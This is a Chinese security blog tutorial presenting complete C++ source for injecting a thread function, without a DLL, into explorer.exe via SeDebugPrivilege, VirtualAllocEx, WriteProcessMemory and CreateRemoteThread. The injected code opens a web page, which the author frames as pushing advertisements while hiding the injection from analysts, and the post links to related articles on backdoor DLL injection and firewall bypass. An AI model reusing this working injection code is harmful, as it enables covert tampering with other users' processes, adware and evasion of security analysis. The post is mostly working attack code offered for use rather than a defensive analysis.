安全之路 —— 无DLL文件实现远程进程注入
简介
在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门。但一个.exe文件总要在注入时捎上一个.dll文件着实是怪麻烦的,那么有没有什么方法能够不适用.dll文件实现注入呢? 
        答案是有的,我们可以直接将功能写在线程函数中,然后直接将整个函数注入,这个方法相较之于DLL注入会稍微复杂一些,适用于对一些体积比较小的程序进行注入。但是要注意动态链接库的地址重定位问题,因为正常的文件一般会默认载入kernel32.dll文件,而不会载入其他DLL,且只有kernel32.dll与user32.dll文件可以保证在本地和目的进程中的加载地址是一样的,所以最好要在远程线程函数中手动利用LoadLibrary和GetProcessAddress函数强制加载一遍DLL文件。Visual Studio在编译此类功能的文件时建议关闭编译器的“/GS”选项,还要其他需要注意的地方可参考此链接。 
        下面我们借助此方法实现让Windows资源管理器explorer.exe实现弹网页(发广告)的功能,而分析人员却无法从程序依赖的动态链接库中找到我们注入线程用的DLL文件,达到了一定的隐藏效果。
代码实现
//////////////////////////////
//
// FileName : InjectProcess.cpp
// Creator : PeterZheng
// Date : 2018/8/18 0:35
// Comment : Inject Process Without Dll File
//
//////////////////////////////
#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <string>
#include <string.h>
#include <windows.h>
#include <strsafe.h>
#include <tlhelp32.h>
#define MAX_LENGTH 50
#define NORMAL_LENGTH 20
#pragma warning(disable:4996)
using namespace std;
//远程线程函数参数
typedef struct _RemoteParam
{
    CHAR szOperation[NORMAL_LENGTH];
    CHAR szAddrerss[MAX_LENGTH];
    CHAR szLb[NORMAL_LENGTH];
    CHAR szFunc[NORMAL_LENGTH];
    LPVOID lpvMLAAdress;
    LPVOID lpvMGPAAddress;
    LPVOID lpvSEAddress;
}RemoteParam;
//远程线程函数(主体)
DWORD WINAPI ThreadProc(RemoteParam *lprp)
{
    typedef HMODULE(WINAPI *MLoadLibraryA)(IN LPCTSTR lpFileName);
    typedef FARPROC(WINAPI *MGetProcAddress)(IN HMODULE hModule, IN LPCSTR lpProcName);
    typedef HINSTANCE(WINAPI *MShellExecuteA)(HWND hwnd, LPCSTR lpOperation, LPCSTR lpFile, LPCSTR lpParameters, LPCSTR lpDirectory, INT nShowCmd);
    MLoadLibraryA MLA;
    MGetProcAddress MGPA;
    MShellExecuteA MSE;
    MLA = (MLoadLibraryA)lprp->lpvMLAAdress;
    MGPA = (MGetProcAddress)lprp->lpvMGPAAddress;
    lprp->lpvSEAddress = (LPVOID)MGPA(MLA(lprp->szLb), lprp->szFunc);
    MSE = (MShellExecuteA)lprp->lpvSEAddress;
    MSE(NULL, lprp->szOperation, lprp->szAddrerss, NULL, NULL, SW_SHOWNORMAL);
    return 0;
}
//获取PID
DWORD GetProcessID(CHAR *ProcessName)
{
    PROCESSENTRY32 pe32;
    pe32.dwSize = sizeof(pe32);
    HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hProcessSnap == INVALID_HANDLE_VALUE)
    {
        printf("CreateToolhelp32Snapshot error");
        return 0;
    }
    BOOL bProcess = Process32First(hProcessSnap, &pe32);
    while (bProcess)
    {
        if (strcmp(strupr(pe32.szExeFile), strupr(ProcessName)) == 0)
            return pe32.th32ProcessID;
        bProcess = Process32Next(hProcessSnap, &pe32);
    }
    CloseHandle(hProcessSnap);
    return 0;
}
//获取权限
int EnableDebugPriv(const TCHAR *name)
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tp;
    LUID luid;
    if (!OpenProcessToken(GetCurrentProcess(),
        TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY,
        &hToken))
    {
        printf("OpenProcessToken Error!\n");
        return 1;
    }
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
        printf("LookupPrivilege Error!\n");
        return 1;
    }
    tp.PrivilegeCount = 1;
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
    tp.Privileges[0].Luid = luid;
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
        printf("AdjustTokenPrivileges Error!\n");
        return 1;
    }
    return 0;
}
//远程线程注入函数
BOOL InjectProcess(const DWORD dwPid)
{
    if (EnableDebugPriv(SE_DEBUG_NAME)) return FALSE;
    HANDLE hWnd = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (!hWnd) return FALSE;
    RemoteParam rp;
    ZeroMemory(&rp, sizeof(RemoteParam));
    rp.lpvMLAAdress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "LoadLibraryA");
    rp.lpvMGPAAddress = (LPVOID)GetProcAddress(LoadLibrary("Kernel32.dll"), "GetProcAddress");
    StringCchCopy(rp.szLb, sizeof(rp.szLb), "Shell32.dll");
    StringCchCopy(rp.szFunc, sizeof(rp.szFunc), "ShellExecuteA");
    StringCchCopy(rp.szAddrerss, sizeof(rp.szAddrerss), "https://www.baidu.com");
    StringCchCopy(rp.szOperation, sizeof(rp.szOperation), "open");
    RemoteParam *pRemoteParam = (RemoteParam *)VirtualAllocEx(hWnd, 0, sizeof(RemoteParam), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteParam) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteParam, &rp, sizeof(RemoteParam), 0)) return FALSE;
    LPVOID pRemoteThread = VirtualAllocEx(hWnd, 0, 1024 * 4, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (!pRemoteThread) return FALSE;
    if (!WriteProcessMemory(hWnd, pRemoteThread, &ThreadProc, 1024 * 4, 0)) return FALSE;
    HANDLE hThread = CreateRemoteThread(hWnd, NULL, 0, (LPTHREAD_START_ROUTINE)pRemoteThread, (LPVOID)pRemoteParam, 0, NULL);
    if (!hThread) return FALSE;
    return TRUE;
}
//主函数
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR lpCmdLine, _In_ int nShowCmd)
{
    CHAR szProcName[MAX_LENGTH] = "\0";
    StringCchCopy(szProcName, MAX_LENGTH, "explorer.exe");
    InjectProcess(GetProcessID(szProcName));
    ExitProcess(0);
    return 0;
}												
											安全之路 —— 无DLL文件实现远程进程注入的更多相关文章
- 安全之路 —— 无DLL文件实现远程线程注入
		
简介 在之前的章节中,笔者曾介绍过有关于远程线程注入的知识,将后门.dll文件注入explorer.exe中实现绕过防火墙反弹后门.但一个.exe文件总要在注入时捎上一个.dll文件着 ...
 - 将DLL挂接到远程进程之中(远程注入)
		
线程的远程注入 要实现线程的远程注入必须使用Windows提供的CreateRemoteThread函数来创建一个远程线程该函数的原型如下:HANDLE CreateRemoteThread( ...
 - 使用VC++通过远程进程注入来实现HOOK指定进程的某个API
		
前阵子读到一篇关于<HOOK API入门之Hook自己程序的MessageBoxW>的博客,博客地址:http://blog.csdn.net/friendan/article/detai ...
 - EasyHook远程进程注入并hook api的实现
		
EasyHook远程进程注入并hook api的实现 http://blog.csdn.net/v6543210/article/details/44276155
 - 安全之路 —— 利用APC队列实现跨进程注入
		
简介 在之前的文章中笔者曾经为大家介绍过使用CreateRemoteThread函数来实现远程线程注入(链接),毫无疑问最经典的注入方式,但也因为如此,这种方式到今天已经几乎被所有安全软件所防御.所以 ...
 - 安全之路 —— 借助DLL进行远程线程注入实现穿墙与隐藏进程
		
简介 大多数后门或病毒要想初步实现隐藏进程,即不被像任务管理器这样典型的RING3级进程管理器找到过于明显的不明进程,其中比较著名的方法就是通过远程线程注入的方法注入将恶意进程的DLL文 ...
 - CVE-2012-0003 Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞 分析
		
[CNNVD]Microsoft Windows Media Player ‘winmm.dll’ MIDI文件解析远程代码执行漏洞(CNNVD-201201-110) Microsoft Wi ...
 - 关于delphi PAServer 远程调试DLL文件
		
用PAServer调试的话会产生一个默认user-connectionname的文件夹,且这个文件夹不能自定义.因此无法使调试的dll文件生成到host主程序所在的文件夹下而导致无法调试. 变通方法: ...
 - Delphi中编写无输出函数名的DLL文件(有点意思)(400多篇博客)
		
用 Delphi 用长了,总是发现,有些和 MS 不同的地方.例如,MS 的公开库中,常常隐藏了许多重要函数,这些函数在系统中常常有起着非常巨大的作用.一旦知道如何调用,可以给自己的应用程序提供很强的 ...
 
随机推荐
- POJ-3281(最大流+EK算法)
			
Dining POJ-3281 这道题目其实也是网络流中求解最大流的一道模板题. 只要建模出来以后直接套用模板就行了.这里的建模还需要考虑题目的要求:一种食物只能给一只牛. 所以这里可以将牛拆成两个点 ...
 - JS table排序
			
<html lang="en"> <head> <meta charset="UTF-8"> <meta http-e ...
 - 漏洞复现-ActiveMq反序列化漏洞(CVE-2015-5254)
			
0x00 实验环境 攻击机:Win 10 靶机也可作为攻击机:Ubuntu18 (docker搭建的vulhub靶场) 0x01 影响版本 Apache ActiveMQ 5.13.0之前 ...
 - C# 应用 - 多线程 2) Thread 和 ThreadPool
			
IEnumerable<int> intList = Enumerable.Range(1, 15); foreach (int i in intList) { ThreadPool.Qu ...
 - python基础学习之文件的基础操作方法
			
打开文件方法 open('xx') 注意,open后括号内加的是文件名,这里默认是当前文件的相对路径,如果不在当前文件层,需要绝对路径,默认打开方法是读取,即read,默认的解码器为当前系统的解码器w ...
 - python基础学习之字符串的功能方法
			
字符串:str的功能记录(该类需要记忆) .isdecimal():意思是判断是否由数字构成,仅仅可以解析"123" a='123' d=a.isdecimal() p ...
 - Mac下安装lightgb并在jupyter中使用
			
1.先安装cmake和gcc brew install cmake brew install gcc 2.下载后确定自己的gcc版本 cd /usr/local/opt/gcc/lib/gcc/ 看到 ...
 - java例题_15 有小到大排序
			
1 /*15 [程序 15 排序] 2 题目:输入三个整数 x,y,z,请把这三个数由小到大输出. 3 程序分析:我们想办法把最小的数放到 x 上,先将 x 与 y 进行比较,如果 x>y 则将 ...
 - Android 之 ToolBar 踩坑笔记
			
写在前面 •前言 这两天,学完了 Fragment 的基础知识,正准备跟着<第一行代码>学习制作一个简易版的新闻应用: 嘀嘀嘀~~~ 一声消息传来,像往常一样,打开 QQ,当我看到 QQ ...
 - Alluxio+HDFS+MapReduce集成及测试
			
目录 1.在 HDFS 上配置 Alluxio 1.1.节点角色 1.2.软件版本 1.3.准备工作 1.3.1.设置 SSH 免密登录 1.3.2.安装 JDK 1.3.3.安装 Hadoop 1. ...